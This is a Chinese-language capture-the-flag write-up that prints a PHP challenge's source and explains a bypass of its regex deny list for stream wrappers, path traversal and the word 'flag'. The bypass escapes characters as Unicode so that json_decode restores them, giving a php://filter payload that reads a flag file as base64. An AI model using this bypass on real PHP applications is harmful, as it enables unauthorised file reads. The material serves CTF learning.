源码如下:

 <?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);

大概意思就是, 以json的格式传入想读的文件名 ,然后有一个名为is_valid函数会检查输入的内容,要避开它的黑名单。

正常来说应该是:

php://filter/read=convert.base64-encode/resource=flag

但是不能输入php,这里涉及一个知识点:

php的json_decode在遇到unicode编码时会自动把它转换成正常的字符

Unicode编码转换 。把“php”和“flag”替换掉一个字符。

ph\u0070://filter/read=convert.base64-encode/resource=\u0066lag

转为Json形式:

{“page”:”ph\u0070://filter/read=convert.base64-encode/resource=/\u0066lag”}